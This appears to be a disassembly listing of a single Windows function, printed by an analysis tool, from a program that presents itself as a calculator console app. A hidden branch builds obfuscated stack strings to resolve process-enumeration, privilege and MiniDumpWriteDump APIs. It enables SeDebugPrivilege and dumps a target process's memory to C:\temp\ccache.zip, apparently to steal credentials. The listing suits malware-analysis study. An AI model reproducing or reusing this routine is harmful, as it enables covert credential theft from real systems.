Function at 0x140001328
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rbx, rdx
cmp ecx, 4
jne 0x1400013ae
mov rcx, qword [rdx + 8]
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
mov rcx, qword [rbx + 0x18]
mov esi, eax
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
mov rcx, qword [rbx + 0x10]
xor edi, edi
mov r8d, eax
mov dl, byte [rcx]
lea ecx, [rax + rsi]
cmp dl, 0x2b
mov eax, esi
cmovne ecx, edi
sub eax, r8d
cmp dl, 0x2d
cmovne eax, ecx
cmp dl, 0x2a
jne 0x140001390
imul r8d, esi
mov eax, r8d
jmp 0x14000139b
cmp dl, 0x2f
jne 0x14000139b
mov eax, esi
cdq
idiv r8d
mov edx, eax
lea rcx, str._nThe_result_is:__d_n
call fcn.14000196c
jmp 0x14000194c
cmp ecx, 2
je 0x1400013de
lea rdx, str.Calculator_Console_Application.
lea rcx, [0x1400052f8]
call fcn.14000196c
lea rdx, str.Please_enter_the_operation_to_perform._Format:_a__b__a___b__a__b__a___b
lea rcx, [0x1400052f8]
call fcn.14000196c
jmp 0x14000194c
mov rax, qword [rdx + 8]
mov r15d, 0x6c
cmp byte [rax], r15b
jne 0x14000194c
lea r14d, [r15 - 0xb]
cmp byte [rax + 2], r14b
jne 0x14000194c
call fcn.140001140
xor edi, edi
mov dword [rbp - 0x18], 0x65004b
lea rcx, [rbp - 0x18]
mov word [rbp], di
mov byte [rbp - 0x64], dil
mov dword [rbp - 0x14], 0x6e0072
mov dword [rbp - 0x10], 0x6c0065
mov dword [rbp - 0xc], 0x320033
mov dword [rbp - 8], 0x64002e
mov dword [rbp - 4], 0x6c006c
mov dword [rbp - 0x70], 0x64616f4c
mov dword [rbp - 0x6c], 0x7262694c
mov dword [rbp - 0x68], 0x41797261
call fcn.1400019c0
lea rdx, [rbp - 0x70]
mov rcx, rax
mov rsi, rax
call fcn.140001a24
movdqa xmm0, xmmword [str.CreateToolhelp32LookupPrivilegeVAdjustTokenPriviMiniDumpWriteDumFlushInstructionLoadLibraryA]
lea rdx, [rbp + 0x30]
mov rcx, rsi
mov qword [rbp + 0x80], rax
movdqu xmmword [rbp + 0x30], xmm0
mov r13d, edi
mov dword [rbp + 0x40], 0x70616e53
mov dword [rbp + 0x44], 0x746f6873
mov byte [rbp + 0x48], dil
call fcn.140001a24
xor edx, edx
lea ecx, [rdi + 2]
call rax
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14000194c
lea rdx, [rsp + 0x70]
mov dword [rbp + 0x230], 0x130
mov rcx, rsi
mov dword [rsp + 0x70], 0x736f6c43
mov dword [rsp + 0x74], 0x6e614865
mov dword [rsp + 0x78], 0x656c64
call fcn.140001a24
lea rdx, [rbp - 0x40]
mov dword [rbp - 0x40], 0x636f7250
mov rcx, rsi
mov dword [rbp - 0x3c], 0x33737365
mov r12, rax
mov dword [rbp - 0x38], 0x72694632
mov word [rbp - 0x34], 0x7473
mov byte [rbp - 0x32], dil
call fcn.140001a24
lea rdx, [rbp + 0x230]
mov rcx, r14
call rax
test eax, eax
jne 0x140001523
mov rcx, r14
jmp 0x140001949
lea rdx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x636f7250
mov rcx, rsi
mov dword [rbp - 0x4c], 0x33737365
mov dword [rbp - 0x48], 0x78654e32
mov word [rbp - 0x44], 0x74
call fcn.140001a24
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x7274736c
mov rcx, rsi
mov dword [rsp + 0x64], 0x69706d63
mov r15, rax
mov word [rsp + 0x68], 0x41
call fcn.140001a24
mov rsi, rax
jmp 0x140001587
mov rcx, qword [rbx + 8]
lea rdx, [rbp + 0x25c]
call rsi
test eax, eax
je 0x14000159a
lea rdx, [rbp + 0x230]
mov rcx, r14
call r15
test eax, eax
jne 0x140001576
jmp 0x1400015a1
mov r13d, dword [rbp + 0x238]
mov edx, r13d
lea rcx, str.____d_n
call fcn.14000196c
mov rcx, r14
call r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x88]
mov edx, 0xf01ff
mov rcx, rax
call fcn.140001080
mov rsi, qword [rbp + 0x80]
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x61766461
mov dword [rbp - 0x5c], 0x32336970
mov dword [rbp - 0x58], 0x6c6c642e
mov byte [rbp - 0x54], dil
call rsi
movdqa xmm0, xmmword [0x140005410]
lea rcx, [rbp + 8]
movdqu xmmword [rbp + 0x50], xmm0
mov dword [rbp + 8], 0x640061
mov dword [rbp + 0xc], 0x610076
mov dword [rbp + 0x10], 0x690070
mov dword [rbp + 0x14], 0x320033
mov dword [rbp + 0x18], 0x64002e
mov dword [rbp + 0x1c], 0x6c006c
mov word [rbp + 0x20], di
mov dword [rbp + 0x60], 0x65756c61
mov word [rbp + 0x64], 0x41
call fcn.1400019c0
lea rdx, [rbp + 0x50]
mov rcx, rax
mov rbx, rax
call fcn.140001a24
lea r8, [rbp + 0x9c]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call rax
test eax, eax
lea rdx, str.___Lookup._n
lea rcx, str.____Lookup._n
cmovne rcx, rdx
call fcn.14000196c
movdqa xmm0, xmmword [0x140005420]
lea rdx, [rbp + 0x68]
mov rcx, rbx
mov dword [rbp + 0x98], 1
movdqu xmmword [rbp + 0x68], xmm0
mov dword [rbp + 0xa4], 2
mov dword [rbp + 0x78], 0x6567656c
mov word [rbp + 0x7c], 0x73
call fcn.140001a24
mov rcx, qword [rbp + 0x88]
lea r8, [rbp + 0x98]
mov r9d, 0x10
mov qword [rsp + 0x28], rdi
xor edx, edx
mov qword [rsp + 0x20], rdi
call rax
test eax, eax
lea rdx, str.___Adjust._n
lea rcx, str.____Adjust._n
cmovne rcx, rdx
call fcn.14000196c
xorps xmm0, xmm0
movsxd rax, r13d
mov ebx, 0x30
mov qword [rbp + 0xc0], rax
lea r9, [rbp + 0xc0]
mov qword [rbp + 0x3b8], rdi
lea r8, [rbp + 0xe0]
mov dword [rbp + 0xe0], ebx
mov edx, 0x410
mov qword [rbp + 0xe8], rdi
lea rcx, [rbp + 0x3b8]
mov dword [rbp + 0xf8], edi
movdqu xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0xf0], rdi
mov qword [rbp + 0xc8], rdi
call fcn.140001000
lea rcx, str.____Handle._n
cmp qword [rbp + 0x3b8], rdi
lea rax, str.___Handle._n
cmovne rcx, rax
call fcn.14000196c
movups xmm0, xmmword [str.__C:_tempccache.zip]
xor edx, edx
lea r8d, [rbx + 0x68]
movups xmm1, xmmword [0x1400053e0]
lea rcx, [rbp + 0x190]
movaps xmmword [rbp + 0x160], xmm0
movups xmm0, xmmword [0x1400053f0]
movaps xmmword [rbp + 0x170], xmm1
movaps xmmword [rbp + 0x180], xmm0
call fcn.140001e00
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xd0]
call fcn.140001298
mov dword [rsp + 0x50], edi
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x48], rdi
lea r9, [rbp + 0x140]
mov dword [rsp + 0x40], 0x860
lea r8, [rbp + 0x110]
mov dword [rsp + 0x38], 5
lea rcx, [rbp + 0x28]
mov dword [rsp + 0x30], 2
xorps xmm0, xmm0
mov dword [rsp + 0x28], 0x80
mov edx, 0x120116
mov qword [rsp + 0x20], rdi
mov dword [rbp + 0x110], ebx
mov qword [rbp + 0x118], rdi
mov dword [rbp + 0x128], 0x40
mov qword [rbp + 0x120], rax
movdqu xmmword [rbp + 0x130], xmm0
call fcn.1400010c0
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x68676264
mov dword [rbp - 0x7c], 0x2e706c65
mov dword [rbp - 0x78], 0x6c6c64
call rsi
movdqa xmm0, xmmword [0x140005430]
lea rcx, [rbp - 0x30]
movdqu xmmword [rbp + 0xa8], xmm0
mov dword [rbp - 0x30], 0x620064
mov dword [rbp - 0x2c], 0x680067
mov dword [rbp - 0x28], 0x6c0065
mov dword [rbp - 0x24], 0x2e0070
mov dword [rbp - 0x20], 0x6c0064
mov dword [rbp - 0x1c], 0x6c
mov word [rbp + 0xb8], 0x70
call fcn.1400019c0
mov rcx, rax
lea rdx, [rbp + 0xa8]
call fcn.140001a24
mov rcx, qword [rbp + 0x3b8]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r8, qword [rbp + 0x28]
mov r9d, 2
mov rcx, qword [rbp + 0x3b8]
mov edx, eax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rbx
mov rcx, qword [rbp + 0x28]
lea rax, [rbp + 0x90]
mov qword [rsp + 0x40], rdi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
lea rax, [rbp + 0x3a0]
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], rax
xor edx, edx
lea rax, [rbp + 0x150]
mov dword [rbp + 0x3a0], 0x6054b50
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x90], rdi
call fcn.140001100
mov rcx, qword [rbp + 0x28]
call r12
mov rcx, qword [rbp + 0x3b8]
call r12
mov rbx, qword [rsp + 0x4a8]
xor eax, eax
add rsp, 0x460
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret